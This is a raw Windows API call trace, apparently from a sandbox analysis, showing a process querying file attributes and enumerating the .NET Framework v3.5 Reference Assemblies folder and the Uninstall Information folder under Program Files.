	[0053.567] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\Microsoft.Build.Conversion.v3.5.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\microsoft.build.conversion.v3.5.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274f958 | out: lpFileInformation=0x1274f958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1efbd239, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x1efbd239, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5ce0c4ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1a000)) returned 1
	[0053.568] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\Microsoft.Build.Engine.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\microsoft.build.engine.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274f9a8 | out: lpFileInformation=0x1274f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xade574cb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xade574cb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xadfae12e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9c000)) returned 1
	[0053.569] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\Microsoft.Build.Framework.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\microsoft.build.framework.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274f9f8 | out: lpFileInformation=0x1274f9f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f2b6d7d, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x1f2b6d7d, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5cf16e3d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x9000)) returned 1
	[0053.569] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\Microsoft.Build.Utilities.v3.5.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\microsoft.build.utilities.v3.5.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274fa48 | out: lpFileInformation=0x1274fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad64ea7d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad64ea7d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad674bdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x14000)) returned 1
	[0053.569] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\Microsoft.VisualC.STLCLR.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\microsoft.visualc.stlclr.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274fa98 | out: lpFileInformation=0x1274fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f40d9c2, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x1f40d9c2, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5cffb671, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xa800)) returned 1
	[0053.569] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist"), fInfoLevelId=0x0, lpFileInformation=0x1274fae8 | out: lpFileInformation=0x1274fae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803d8e97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803d8e97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.569] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.569] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803d8e97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803d8e97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.569] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803d8e97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803d8e97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.569] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2273aeba, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x2273aeba, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5d093be9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5ec3, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 1
	[0053.569] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.570] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.570] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist\\frameworklist.xml"), fInfoLevelId=0x0, lpFileInformation=0x1274fb88 | out: lpFileInformation=0x1274fb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2273aeba, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x2273aeba, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5d093be9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5ec3)) returned 1
	[0053.570] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.AddIn.Contract.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\system.addin.contract.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274fbd8 | out: lpFileInformation=0x1274fbd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad69ad3d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad69ad3d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad69ad3d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb000)) returned 1
	[0053.571] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.AddIn.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\system.addin.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274fc28 | out: lpFileInformation=0x1274fc28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xace922ee, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xace922ee, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xacfe8f51, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28000)) returned 1
	[0053.571] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.ComponentModel.DataAnnotations.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\system.componentmodel.dataannotations.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274fc78 | out: lpFileInformation=0x1274fc78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac3b5e7a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xac3b5e7a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xac4c081c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000)) returned 1
	[0053.571] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Core.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\system.core.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274fcc8 | out: lpFileInformation=0x1274fcc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae496e97, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xae496e97, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xae5092b8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa3000)) returned 1
	[0053.572] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.DataSetExtensions.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\system.data.datasetextensions.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274fd68 | out: lpFileInformation=0x1274fd68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadfae12e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xadfae12e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xadfd428e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd000)) returned 1
	[0053.572] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Entity.Design.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\system.data.entity.design.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274fdb8 | out: lpFileInformation=0x1274fdb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac558d9d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xac558d9d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xac6898a0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38000)) returned 1
	[0053.572] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Entity.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\system.data.entity.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274fe08 | out: lpFileInformation=0x1274fe08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a1495c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0a1495c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0a60c1c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2bf000)) returned 1
	[0053.573] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Linq.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\system.data.linq.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274fe58 | out: lpFileInformation=0x1274fe58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac6898a0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xac6898a0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xaca8ddc7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa7000)) returned 1
	[0053.573] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Services.Client.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\system.data.services.client.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274fea8 | out: lpFileInformation=0x1274fea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad6e6ffe, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad6e6ffe, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad7332be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x71000)) returned 1
	[0053.573] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Services.Design.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\system.data.services.design.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274fef8 | out: lpFileInformation=0x1274fef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb097c3db, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb097c3db, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb097c3db, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28000)) returned 1
	[0053.574] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Services.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\system.data.services.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274ff48 | out: lpFileInformation=0x1274ff48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09a253b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb09a253b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb09c869b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa9000)) returned 1
	[0053.574] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.DirectoryServices.AccountManagement.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\system.directoryservices.accountmanagement.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274ff98 | out: lpFileInformation=0x1274ff98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae5092b8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xae5092b8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xae555578, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47000)) returned 1
	[0053.574] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Management.Instrumentation.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\system.management.instrumentation.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb093011a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb093011a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb095627b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23000)) returned 1
	[0053.575] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Net.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\system.net.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacfe8f51, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xacfe8f51, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad0cd792, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3a000)) returned 1
	[0053.575] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.ServiceModel.Web.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\system.servicemodel.web.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fc0f8 | out: lpFileInformation=0x123fc0f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa96ee048, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa96ee048, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa96ee048, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x78000)) returned 1
	[0053.575] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.Abstractions.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\system.web.abstractions.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae496e97, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xae496e97, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xae496e97, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13000)) returned 1
	[0053.576] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.DynamicData.Design.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\system.web.dynamicdata.design.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabe34b90, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xabe34b90, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xabf193d2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8000)) returned 1
	[0053.576] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.DynamicData.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\system.web.dynamicdata.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fc1e8 | out: lpFileInformation=0x123fc1e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac1ecdf7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xac1ecdf7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xac3b5e7a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38000)) returned 1
	[0053.576] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.Entity.Design.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\system.web.entity.design.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fc238 | out: lpFileInformation=0x123fc238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacc30cea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xacc30cea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xacd3b68c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20000)) returned 1
	[0053.576] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.Entity.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\system.web.entity.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fc288 | out: lpFileInformation=0x123fc288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae5edaf9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xae5edaf9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xae71e5fc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000)) returned 1
	[0053.577] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.Extensions.Design.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\system.web.extensions.design.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fc2d8 | out: lpFileInformation=0x123fc2d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadaeb525, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xadaeb525, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xadb11685, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x52000)) returned 1
	[0053.577] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.Extensions.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\system.web.extensions.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fc328 | out: lpFileInformation=0x123fc328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab7cf064, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xab7cf064, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xabd0408e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x138000)) returned 1
	[0053.577] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.Routing.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\system.web.routing.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fc378 | out: lpFileInformation=0x123fc378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae97fc00, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xae97fc00, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xae97fc00, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000)) returned 1
	[0053.577] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Windows.Presentation.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\system.windows.presentation.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fc3c8 | out: lpFileInformation=0x123fc3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a316a7b, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x6a316a7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x6a33cbd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1
	[0053.578] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.WorkflowServices.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\system.workflowservices.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fc418 | out: lpFileInformation=0x123fc418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa96ee048, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa96ee048, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa97141a8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x75000)) returned 1
	[0053.578] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Xml.Linq.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\system.xml.linq.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fc468 | out: lpFileInformation=0x123fc468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad0cd792, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad0cd792, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad2e2ad6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000)) returned 1
	[0053.578] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Uninstall Information" (normalized: "c:\\program files\\uninstall information"), fInfoLevelId=0x0, lpFileInformation=0x123fc4b8 | out: lpFileInformation=0x123fc4b8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xec5a81a0, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xec5a81a0, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.578] CreateFileW (lpFileName="C:\\Program Files\\Uninstall Information" (normalized: "c:\\program files\\uninstall information"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
